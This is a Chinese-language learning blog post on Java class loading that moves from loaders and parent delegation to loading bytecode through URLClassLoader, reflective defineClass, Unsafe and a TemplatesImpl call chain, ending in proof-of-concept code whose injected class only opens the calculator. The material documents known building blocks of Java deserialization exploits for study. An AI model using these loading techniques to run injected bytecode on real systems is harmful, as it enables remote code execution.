java类的动态加载

SoloWalker Lv3

java类的动态加载

类加载器和双亲委派机制

类加载器的作用

一句话概括:把类的字节码文件(.class)加载到 JVM 内存中,并转换成可以被虚拟机直接使用的 java 类,即 Class 对象。

  • 加载 Class 文件
1
Person p = new Person();

Person这个类本身是抽象的,通过new操作,实例化。类加载做的则是把类这个模板经过编译形成的字节码传入 JVM,生成一个具备这个类的所有数据的 Class 对象。(Class 对象就当成是这个类理解即可)

ClassLoader 的工作流程:

首先,一个类编译后形成的 class 文件经过类加载器进入 JVM并产生 Class 对象,然后在 JVM 中进行初始化,我们可以通过这个 Class 对象的 getClassLoader() 方法获取这个类对应的类加载器。我们也可以通过对这个 Class 对象调用其 newInstance() 方法来实例化一个对象,通过这个实例化对象的 getClass() 方法来获取对应的 Class 对象。

3种类加载器

启动类加载器 (Bootstrap ClassLoader)

其底层原生代码属是由 C++ 编写的,属于 JVM 的一部分。

不继承于java.lang.ClassLoader类,也没有父类加载器,主要负责加载核心 java 库(即 JVM 本身),储存在/jre/lib/rt.jar中。

扩展类加载器 (ExtensionsClassLoader)

这个类加载器是由sun.misc.Launcher$ExtClassLoader类实现的,用来加载/jre/lib/extjava.ext.dirs指定的目录。Java 虚拟机会提供一个扩展库目录,此类加载器在目录中查找并加载 java 类。

在 JDK9 以及更高版本,由于引入了模块化系统后,此类加载器被替代为平台类加载器,加载 Java SE 平台模块(如 java.sql,java.xml 等)。

应用类加载器

此加载器由sun.misc.Launcher$AppClassLoader实现,一般通过java.class.path或者Classpath环境变量来加载 java 类,也就是常说的 classpath 路径。一般我们使用这个加载器来加载 java 应用类,可以通过 ClassLoader.getSystemClassLoader()来获取它。

双亲委派机制

一句话概括:一个类加载器收到加载请求时,不是先自己尝试加载,而是把请求委派给父加载器,一层层向上传递,直到启动类加载器。只有当父加载器反馈不加载时,子加载器才会自己尝试加载。

从错误的方向看双亲委派

1
2
3
4
5
6
7
8
9
10
11
12
package java.lang;

public class String {

public String toString(){
return "hello";
}
public static void main(String[] args) {
String s = new String();
s.toString();
}
}

这样看似乎没有问题,但是报错很神奇:

1
2
3
错误: 在类 java.lang.String 中找不到 main 方法, 请将 main 方法定义为:
public static void main(String[] args)
否则 JavaFX 应用程序类必须扩展javafx.application.Application

明明以及定义了 main 方法,却报错没有 main 方法。这里则涉及双亲委派机制。

类加载器在被调用时,也就是在new之前,是以启动类到扩展类到应用类加载器去寻找,而在启动类加载器中是能找到java.lang.String类的,这个String类里是没有 main 方法的。

代码块加载顺序

这里所说的代码块主要是四种:

  • 静态代码块:static{}
  • 构造代码块:{}
  • 无参构造器:classname()
  • 有参构造器:classname(参数)

实例化对象

Person.java:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
package LoadClass;

public class Person {
public String name;
private int age;
public static int id;

static{
System.out.println("静态代码块");
}

public static void staticFunction(){
System.out.println("静态方法");
}

{
System.out.println("构造代码块");
}

public Person() {
System.out.println("无参构造方法");
}

public Person(String name, int age) {
this.name = name;
this.age = age;
System.out.println("有参构造方法");
}

@Override
public String toString() {
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
}

Loadclasstest.java:

1
2
3
4
5
6
7
package LoadClass;

public class Loadclasstest {
public static void main(String[] args) throws Exception{
Person person = new Person();
}
}

运行结果:

1
2
3
静态代码块
构造代码块
无参构造方法

类的实例化其实就是一种初始化,而类加载是在初始化之前触发的,静态代码块和静态方法是和类挂钩的,所以静态代码块先触发。然后不管调用的什么构造方法,都会先调用构造代码块,然后调用对应的构造方法。

调用静态方法

Loadclasstest.java:

1
2
3
4
5
6
7
package LoadClass;

public class Loadclasstest {
public static void main(String[] args) throws Exception{
Person.staticFunction();
}
}

运行结果:

1
2
静态代码块
静态方法

直接调用静态方法,会先调用静态方法块,然后调用对应的静态方法。

对静态成员变量赋值

Loadclasstest.java:

1
2
3
4
5
6
7
package LoadClass;

public class Loadclasstest {
public static void main(String[] args) throws Exception{
Person.id = 1;
}
}

运行结果:

1
静态代码块

对静态成员变量赋值涉及到类初始化的过程,所以静态代码块会在静态成员变量赋值时执行。

class获取类

1
2
3
4
5
6
7
package LoadClass;

public class Loadclasstest {
public static void main(String[] args) throws Exception{
Class p = Person.class;
}
}

运行结果为空,说明利用class获取类不会记载类。

forName 获取类

1
2
3
4
5
6
7
package LoadClass;

public class Loadclasstest {
public static void main(String[] args) throws Exception{
Class.forName("LoadClass.Person");
}
} //执行静态代码块
1
2
3
4
5
6
7
package LoadClass;

public class Loadclasstest {
public static void main(String[] args) throws Exception{
Class.forName("LoadClass.Person",true,ClassLoader.getSystemClassLoader());
}
} //执行静态代码块
1
2
3
4
5
6
7
package LoadClass;

public class Loadclasstest {
public static void main(String[] args) throws Exception{
Class.forName("LoadClass.Person",false,ClassLoader.getSystemClassLoader());
}
} //没有输出

这里的Class.forName()是经过重载的,第二个参数是是否进行初始化,静态代码块是在类初始化时执行的,所以会有不同的结果。

ClassLoader.loadClass()获取类

1
2
3
4
5
6
7
8
package LoadClass;

public class Loadclasstest {
public static void main(String[] args) throws Exception{
ClassLoader cl = ClassLoader.getSystemClassLoader();
Class<?> c = cl.loadClass("LoadClass.Person");
}
} //没有输出

ClassLoader.loadClass()不会进行类的初始化,如果用newInstance()实例化则会由输出。

动态加载字节码

字节码的概念

字节码是 java 编译器生成的中间代码,介于源码与机器码之间,是 JVM 能够理解的指令集,被存储在 .class 文件中。

经过 java 编译器编译出的 class 文件实际是一个二进制文件,但不是机器码,我们通过 idea 打开 class 文件看到的实际上是经过 idea 反编译的代码。

类加载器的原理

调用 ClassLoader 的 loadClass() 方法时,会调用到内部的 findClass() 方法,而 ClassLoader 的 findClass 方法其实是没有实现的,所以到底会调用谁的 findClass 呢?由于 findClass() 是一个虚方法,运行时是根据对象的类型决定的,对象是一个自定义的对象,所以就是尝试调用AppClassLoader的 findClass 方法,但这个类没有重写这个方法,所以要去这个类的父类,即URLClassLoader来调用 findClass 方法。在 findClass 内部又调用了自身的 defineClass 方法,在自身的 defineClass 方法中又调用了父类的 defineClass 方法。所以,类加载的最终出口还是 ClassLoader 的 defineClass 方法。

由于类加载器直接加载字节码,如果我们在反序列化中能够控制类加载器加载远程字节码,就会有更多攻击手段。

URLClassLoader 加载远程 class 文件

URLClassLoader实际上是我们默认使用的AppClassLoader的父类,在学习URLClassLoader的工作过程其实就是在学习默认类加载器的工作流程。

一般情况下,java 会根据配置项sun.boot.class.pathjava.class.path中列举的基础路径(这些路径是经过处理的java.net.URL类)来寻找 .class 文件加载,这个路径分三种情况:

  1. URL 没有以 / 结尾,则认为是一个 jar 包,使用JarLoader来寻找类,即在 jar 包中寻找 class 文件
  2. URL 以 / 结尾,且协议名为 file,则使用FileLoader来寻找类,在本地文件系统寻找 class 文件
  3. URL 以 / 结尾,协议名不是 file,则使用基本的Loader来寻找类

file 协议

在测试目录新建一个 Calc.java:

1
2
3
4
5
6
7
8
9
10
11
import java.io.IOException;

public class Calc {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}

在终端中 javac 编译一下,产生 class 文件。

测试代码样例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package LoadClass;

import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;

public class URLloadTest {
public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, InstantiationException, IllegalAccessException {
URLClassLoader ucl = new URLClassLoader(new URL[]{
new URL("file:///C:\\Users\\32202\\Desktop\\java测试\\out\\production\\test\\")});
Class<?> calc = ucl.loadClass("Calc");
calc.newInstance();
}
}

ucl 是一个指向这个 Calc.class 的类加载器实例,调用 loadClass 方法来加载这个类再实例化就能弹出计算器。

HTTP 协议

在 Calc.class 所在目录下执行python -m http.server 4444建立 HTTP 服务,编写恶意类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package LoadClass;

import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;

public class URLloadTest {
public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, InstantiationException, IllegalAccessException {
URLClassLoader ucl = new URLClassLoader(new URL[]{
new URL("http://localhost:4444")});
Class<?> calc = ucl.loadClass("Calc");
calc.newInstance();
}
}

也能弹出计算器。

file+jar 协议

先把这个 Calc.class 文件打包成 jar 包:jar -cvf Calc.jar Calc.class

调用恶意类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package LoadClass;

import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;

public class URLloadTest {
public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, InstantiationException, IllegalAccessException {
URLClassLoader ucl = new URLClassLoader(new URL[]{
new URL("jar:file:///C:\\Users\\32202\\Desktop\\java测试\\out\\production\\test\\Calc.jar!/")});
Class<?> calc = ucl.loadClass("Calc");
calc.newInstance();
}
}

也能弹出计算器。

HTTP+jar 协议

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package LoadClass;

import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;

public class URLloadTest {
public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, InstantiationException, IllegalAccessException {
URLClassLoader ucl = new URLClassLoader(new URL[]{
new URL("jar:http://localhost:4444/Calc.jar!/")});
Class<?> calc = ucl.loadClass("Calc");
calc.newInstance();
}
}

同样能弹出计算器。

对比之下其实还是 http 协议最灵活,能干更多的事情。

ClassLoader#defineClass 直接加载字节码

在上面分析过,类加载的终点是 ClassLoader 的 defineClass 方法,它将传入的字节码转化成真正的 java 类。我们可以利用这个方法实现攻击。

ClassLoader#defineClass:

1
2
3
4
5
protected final Class<?> defineClass(String name, byte[] b, int off, int len)
throws ClassFormatError
{
return defineClass(name, b, off, len, null);
}

name是类名,b是字节数组,off是偏移量,即从字节数组的生命位置开始读取,len是字节数组的长度。

这是一个受保护的方法,利用反射调用该方法实现字节码的加载,实例化后可进行其他攻击手法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package LoadClass;

import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;

public class DefineClassTest {
public static void main(String[] args) throws NoSuchMethodException, IOException, InvocationTargetException, IllegalAccessException, InstantiationException {
ClassLoader scl = ClassLoader.getSystemClassLoader();
Method dc = ClassLoader.class.getDeclaredMethod("defineClass",
String.class, byte[].class, int.class, int.class);
dc.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\32202\\Desktop\\java测试\\out\\production\\test\\Calc.class"));
Class calc =(Class)dc.invoke(scl, "Calc", code, 0, code.length);
calc.newInstance();
}
}

Unsafe 加载字节码

Unsafe 类中也有 defineClass 方法,也是 defineClass 加载字节码。

Unsafe 类里面有个属性theUnsafe,值是一个 Unsafe 对象,但是我们实际是无法直接拿到这个属性的。该类里面也有一个getUnsafe方法会返回这个theUnsafe属性,虽然该方法是 public 的,但是由于是采用单例模式设计的,也无法直接调用,所以需要反射进行调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package LoadClass;

import sun.misc.Unsafe;

import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.ProtectionDomain;

public class UnsafeLoadTest {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, NoSuchMethodException, IOException, InvocationTargetException, InstantiationException {
ClassLoader cl = ClassLoader.getSystemClassLoader();
Class<Unsafe> unsafeClass = Unsafe.class;
Field theUnsafe = unsafeClass.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
Unsafe o = (Unsafe) theUnsafe.get(null);
Method defineClass = unsafeClass.getDeclaredMethod("defineClass", String.class, byte[].class,
int.class, int.class,ClassLoader.class, ProtectionDomain.class);
byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\32202\\Desktop\\java测试\\out\\production\\test\\Calc.class"));
Class calc = (Class)defineClass.invoke(o, "Calc", code, 0, code.length, cl, null);
calc.newInstance();
}
}

TemplatesImpl 加载字节码

定位到TemplatesImpl类,我们会找到一个内部类TransletClassLoader,该类继承了ClassLoader,并且重写了defineClass方法。

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
static final class TransletClassLoader extends ClassLoader {
private final Map<String,Class> _loadedExternalExtensionFunctions;

TransletClassLoader(ClassLoader parent) {
super(parent);
_loadedExternalExtensionFunctions = null;
}

TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {
super(parent);
_loadedExternalExtensionFunctions = mapEF;
}

public Class<?> loadClass(String name) throws ClassNotFoundException {
Class<?> ret = null;
// The _loadedExternalExtensionFunctions will be empty when the
// SecurityManager is not set and the FSP is turned off
if (_loadedExternalExtensionFunctions != null) {
ret = _loadedExternalExtensionFunctions.get(name);
}
if (ret == null) {
ret = super.loadClass(name);
}
return ret;
}

/**
* Access to final protected superclass member from outer class.
*/
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}
}

这里我们可以看到,defineClass 方法的访问权限从父类的受保护类型变成了现在的默认类型,这样一来,在同一个包内的TemplatesImpl就能直接调用它来加载字节码。

TransletClassLoader#defineClass()追溯调用链:

1
2
3
4
5
TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() ->

TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()

-> TransletClassLoader#defineClass()

前两个入口的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;

transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);

if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}

if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}

/**
* Implements JAXP's Templates.getOutputProperties(). We need to
* instanciate a translet to get the output settings, so
* we might as well just instanciate a Transformer and use its
* implementation of this method.
*/
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}

newTransformer()内部直接调用newTransformer(),在这个方法内,transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory);,这里很明显调用了getTransletInstance()方法,这就意味着每次调用newTransformer()来创建TransformerImpl对象时都会去执行getTransletInstance()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;

if (_class == null) defineTransletClasses();

// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}

return translet;
}
catch (InstantiationException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (IllegalAccessException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}

第一步安检:if (_name == null) return null;,这表明在利用时必须要利用反射给这个属性赋任意值,不然调用链直接断了。

第二步安检:if (_class == null) defineTransletClasses();_class为空时才调用defineTransletClasses()把字节码转化为Class对象。

注:_class是一个Class[]数组,用来存放已经加载过的类,防止重复加载。对于一个全新的TemplatesImpl实例,_class默认是null,所以首次调用一定会调用defineTransletClasses()

最终执行:AbstractTranslet translet=(AbstractTranslet)_class[_transletIndex].newInstance();

  1. _class[_transletIndex]取出恶意类。_class数组已经在defineTransletClasses()赋值。_transletIndex是在那个方法中确定的,指向是那个父类为 AbstractTranslet 的类在数组中的位置
  2. .newInstance()实例化,这里就是触发点,如果恶意代码写在类的静态代码块或者无参构造方法中则会执行。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
private void defineTransletClasses()
throws TransformerConfigurationException {

if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}

TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});

try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];

if (classCount > 1) {
_auxClasses = new HashMap<>();
}

for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();

// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}

if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}

这是利用链中最核心的部分,负责把_bytecodes里的字节码变成可执行的Class对象,并筛选出恶意类。

1
2
3
4
5
6
7
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),
_tfactory.getExternalExtensionsMap());
}
});

这里创建了一个自定义类加载器,这是上面所讲的TransletClassLoader这个内部类,继承于ClassLoader。然后则是遍历并加载所有字节码。

然后就是最关键的一步:父类检查。

1
2
3
4
5
6
7
8
9
final Class superClass = _class[i].getSuperclass();

// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}

这里判断了刚刚加载的类是不是ABSTRACT_TRANSLET,即com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

如果是,则把当前索引赋值给_transletIndex,标记这个类是主类。如果不是,则当作是辅助类,存入_auxClasses备用。

这就说明,我们的恶意类必须继承AbstractTranslet,否则最终无法被实例化。

到此调用链基本结束。

利用 TemplatesImpl#newTransformer() 构造简单POC

根据上面的分析,我们构造的字节码必须继承于AbstractTranslet这个抽象类,所以需要重写一下里面的方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package LoadClass;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class TemplatesBytes extends AbstractTranslet {

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}

public TemplatesBytes() throws Exception{
super();
Runtime.getRuntime().exec("Calc");
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package LoadClass;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.io.File;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;

public class TemplatesImpILoadTest {

public static void setFieldval(Object obj,String fieldName,Object value) throws Exception{
Field f = obj.getClass().getDeclaredField(fieldName);
f.setAccessible(true);
f.set(obj,value);
}

public static void main(String[] args) throws Exception{
byte[] codes = Files.readAllBytes(Paths.get("C:\\Users\\32202\\Desktop\\java测试\\test\\src\\LoadClass\\TemplatesBytes.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldval(templates,"_name","Calc");
setFieldval(templates,"_bytecodes",new byte[][]{codes});
setFieldval(templates,"_tfactory",new TransformerFactoryImpl());
/*这一步很重要,因为在源码中有
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());,而_tfactory默认是null,
需要赋一个值来让程序走下去*/
templates.newTransformer();
}
}

这里在运行时会报一个空指针的错,但是没什么影响,依然会弹出计算器。

总结

类加载这部分内容感觉还是挺重要的,所以专门写了这一篇博客来记录一下我的学习成果,不过主要还是参考了别的大佬的内容,可以说内容几乎是一样的,但是其中也加了一些我自己的理解。

这一篇博客还只是对类加载的基本认识,中间有些地方还是有一点模糊的,但是相比之前已经有了很大改善了,也是有了不小的收获吧。之后还会有更多关于动态加载字节码的内容,遇到之后会继续更新。

  • Title: java类的动态加载
  • Author: SoloWalker
  • Created at : 2026-04-24 00:00:00
  • Updated at : 2026-04-29 15:30:16
  • Link: https://s0lowalker.github.io/2026/04/24/Java动态类加载/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments